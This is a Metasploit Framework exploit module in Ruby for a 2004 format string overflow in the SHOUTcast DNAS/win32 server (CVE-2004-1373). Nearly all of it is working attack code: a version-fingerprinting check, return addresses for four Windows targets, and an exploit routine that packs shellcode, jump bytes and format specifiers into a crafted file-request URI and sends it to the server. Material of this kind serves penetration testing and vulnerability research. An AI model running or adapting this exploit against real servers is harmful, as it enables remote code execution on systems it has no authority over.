SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow',  
'Description' => %q{  
This module exploits a format string vulnerability in the  
Nullsoft SHOUTcast server for Windows. The vulnerability is  
triggered by requesting a file path that contains format  
string specifiers. This vulnerability was discovered by  
Tomasz Trojanowski and Damian Put.  
  
},  
'Author' => [ 'MC', 'mandragore[at]gmail.com'],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1373'],  
[ 'OSVDB', '12585'],  
[ 'BID', '12096'],  
  
],  
'Privileged' => false,  
'DefaultOptions' =>   
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 250,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Windows NT SP5/SP6a English', { 'Ret' => 0x776a1799 }], # ws2help.dll  
['Windows 2000 English ALL', { 'Ret' => 0x75022ac4 }], # ws2help.dll  
['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # ws2help.dll  
['Windows 2003 Server English', { 'Ret' => 0x7ffc0638 }], # PEB return   
],  
'DisclosureDate' => 'Dec 23 2004'))  
  
register_options(  
[  
Opt::RPORT(8000)  
], self.class)  
end  
  
def check  
r = send_request_raw({  
'uri' => uri  
}, 5)  
  
return Exploit::CheckCode::Safe if not r  
  
m = r.body.match(/Network Audio Server\/([^\s]+)\s+([^<]+)<BR/)  
return Exploit::CheckCode::Safe if not m  
  
print_status("This system is running SHOUTcast #{m[1]} on #{m[2]}")  
  
# SHOUTcast Distributed Network Audio Server/win32 v1.9.2<BR>  
if (m[1] =~ /v1\.([0-8]\.|9\.[0-3])$/)  
if (m[2] == "win32")  
return Exploit::CheckCode::Vulnerable  
end  
print_status("Vulnerable version detected, but not a win32 host")  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
num = 1046 - payload.encoded.length  
uri = '/content/%#0' + num.to_s + 'x' + payload.encoded  
uri << "\xeb\x06" + rand_text_alphanumeric(2)  
uri << [target.ret].pack('V')   
uri << "\xe9\x2d\xff\xff\xff"  
uri << '#0100x.mp3'  
  
print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)  
send_request_raw({  
'uri' => uri  
}, 5)  
  
handler  
disconnect  
end  
  
end  
`